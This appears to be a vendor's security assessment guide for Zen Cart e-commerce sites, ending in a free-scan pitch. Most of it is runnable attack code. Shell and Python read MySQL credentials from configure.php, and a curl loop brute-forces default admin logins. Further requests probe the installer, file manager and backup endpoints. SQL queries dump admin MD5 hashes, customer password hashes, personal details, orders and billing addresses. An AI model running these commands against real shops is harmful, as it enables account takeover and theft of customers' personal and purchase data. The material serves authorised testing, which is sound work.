Zen Cart is one of the most widely deployed PHP e-commerce platforms, with a large legacy install base running outdated versions. Key assessment areas: includes/configure.php exposes MySQL credentials; the /zc_install/ directory enables admin password reset via re-installation; admin/admin is a common default with no lockout protection; tbl_admin uses unsalted MD5; and the customer database contains PII and purchase history. This guide covers systematic Zen Cart security assessment.
# Zen Cart — configure.php MySQL credential extraction
ZC_URL="https://shop.example.com"
# includes/configure.php — Zen Cart database configuration
cat /var/www/zencart/includes/configure.php 2>/dev/null | \
grep -E "DB_SERVER|DB_SERVER_USERNAME|DB_SERVER_PASSWORD|DB_DATABASE|DIR_FS"
python3 -c "
import re
content = open('/var/www/zencart/includes/configure.php').read()
patterns = {
'db_password': r\"define\('DB_SERVER_PASSWORD',\s*'([^']+)'\)\",
'db_username': r\"define\('DB_SERVER_USERNAME',\s*'([^']+)'\)\",
'db_server': r\"define\('DB_SERVER',\s*'([^']+)'\)\",
'db_database': r\"define\('DB_DATABASE',\s*'([^']+)'\)\",
'db_prefix': r\"define\('DB_PREFIX',\s*'([^']*)'\)\",
}
for name, pattern in patterns.items():
m = re.search(pattern, content)
if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null
# admin/includes/configure.php — admin path discovery
cat /var/www/zencart/admin/includes/configure.php 2>/dev/null | \
grep -E "HTTP_SERVER|DIR_WS_ADMIN"
# define('HTTP_SERVER', 'https://shop.example.com');
# define('DIR_WS_ADMIN', '/admin/'); <-- admin panel path
# Check configure.php web exposure
for PATH in "includes/configure.php" "admin/includes/configure.php"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${ZC_URL}/${PATH}" 2>/dev/null)
echo "${PATH}: HTTP ${STATUS}"
done
# Check for /zc_install/ re-installation directory
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${ZC_URL}/zc_install/" 2>/dev/null)
echo "/zc_install/: HTTP ${STATUS}"
# Test admin credentials
for CRED in "admin:admin" "admin:password" "admin:zencart" "admin:Admin123"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${ZC_URL}/admin/index.php" \
-d "admin_name=${USER}&admin_pass=${PASS}&securityToken=test&action=process" \
-c /tmp/zc_c -b /tmp/zc_c -L 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
done
# Zen Cart admin panel — zc_install re-installation and file manager assessment
ZC_URL="https://shop.example.com"
# /zc_install/ directory — Zen Cart installer/upgrader
# If accessible, attacker can reset admin credentials via reinstall wizard
curl -s "${ZC_URL}/zc_install/index.php" 2>/dev/null | \
grep -iE "install|upgrade|database|admin" | head -5
# zc_install presence check and step enumeration
for STEP in "" "?page=install_1" "?page=install_2" "?page=database_setup"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${ZC_URL}/zc_install/index.php${STEP}" 2>/dev/null)
echo "zc_install${STEP}: HTTP ${STATUS}"
done
# Zen Cart admin file manager (if enabled)
ADMIN_SESS="extracted-admin-session-cookie"
curl -s "${ZC_URL}/admin/file_manager.php" \
-b "zenAdminID=${ADMIN_SESS}" 2>/dev/null | \
grep -i "upload\|file" | head -5
# Zen Cart admin backup — database download
curl -s "${ZC_URL}/admin/backup.php" \
-b "zenAdminID=${ADMIN_SESS}" 2>/dev/null | head -5
# Check for exposed /extras/ and /install/ directories
for DIR in "/extras/" "/install/" "/zc_install/" "/docs/"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${ZC_URL}${DIR}" 2>/dev/null)
echo "${DIR}: HTTP ${STATUS}"
done
# Zen Cart MySQL database — tbl_admin hash, customer PII, and order extraction
DB_PASS="extracted-db-password"
DB_PREFIX="zen_" # Default prefix; check configure.php DB_PREFIX
mysql -u zencart -p"${DB_PASS}" zencart 2>/dev/null << 'EOF'
-- Zen Cart admin accounts (tbl_admin)
SELECT admin_id, admin_name, admin_email,
admin_pass, -- MD5 hash (unsalted in older versions)
admin_level, admin_created,
admin_modified, failed_logins
FROM zen_admin
ORDER BY admin_id;
-- admin_pass: MD5 in older Zen Cart; newer versions use SHA-512 with salt
-- Customer accounts with hashed passwords
SELECT customers_id, customers_email_address,
customers_password, -- MD5 (older) or hashed
customers_firstname, customers_lastname,
customers_phone, customers_fax,
customers_newsletter, date_account_created,
date_account_last_modified
FROM zen_customers
ORDER BY customers_id
LIMIT 20;
-- Orders with customer PII and financial data
SELECT orders_id, customers_name, customers_email_address,
customers_telephone, billing_name,
billing_street_address, billing_postcode,
billing_city, billing_country,
payment_method, payment_module_code,
currency, order_total,
date_purchased, last_modified,
orders_status
FROM zen_orders
ORDER BY orders_id DESC
LIMIT 20;
-- Order line items
SELECT op.orders_products_id, op.orders_id,
op.products_name, op.products_price,
op.products_quantity, op.products_model,
o.customers_email_address, o.payment_method
FROM zen_orders_products op
JOIN zen_orders o ON o.orders_id = op.orders_id
ORDER BY op.orders_products_id DESC
LIMIT 20;
-- Customer shipping addresses
SELECT ab.address_book_id, ab.entry_firstname,
ab.entry_lastname, ab.entry_street_address,
ab.entry_postcode, ab.entry_city,
ab.entry_country_id, ab.entry_telephone,
c.customers_email_address
FROM zen_address_book ab
JOIN zen_customers c ON c.customers_id = ab.customers_id
ORDER BY ab.address_book_id
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| /zc_install/ directory enabling admin password reset | GET /zc_install/ — HTTP 200 = installer accessible; unauthenticated admin account creation/password reset | Critical |
| includes/configure.php MySQL DB_SERVER_PASSWORD extraction | Read /var/www/zencart/includes/configure.php — database credentials; full access to customer PII, orders, and admin hashes | Critical |
| admin/admin brute-force (no lockout in older versions) | POST /admin/index.php — unlimited brute-force; admin session enables file manager RCE, database backup download | High |
| zen_admin table unsalted MD5 hash extraction | MySQL SELECT admin_pass FROM zen_admin — MD5 cracks in milliseconds; admin account compromise enables full store control | High |
| zen_customers table MD5 hash and PII extraction | MySQL SELECT customers_password, customers_email, customers_phone FROM zen_customers — customer credentials and contact data; PCI DSS-relevant if card data stored | High |
Ironimo tests Zen Cart deployments for /zc_install/ post-installation accessibility enabling admin password reset, includes/configure.php MySQL DB_SERVER_PASSWORD credential extraction, admin/admin brute-force at /admin/index.php with no lockout protection, zen_admin table MD5 admin password hash extraction, zen_customers table MD5 customer hash and PII (email, phone, name) extraction, zen_orders table purchase history and billing address data enumeration, file_manager.php PHP file upload RCE capability assessment, backup.php full database download access, exposed /extras/ and /docs/ directory enumeration, and Zen Cart version disclosure for SQL injection CVE targeting.
Start free scan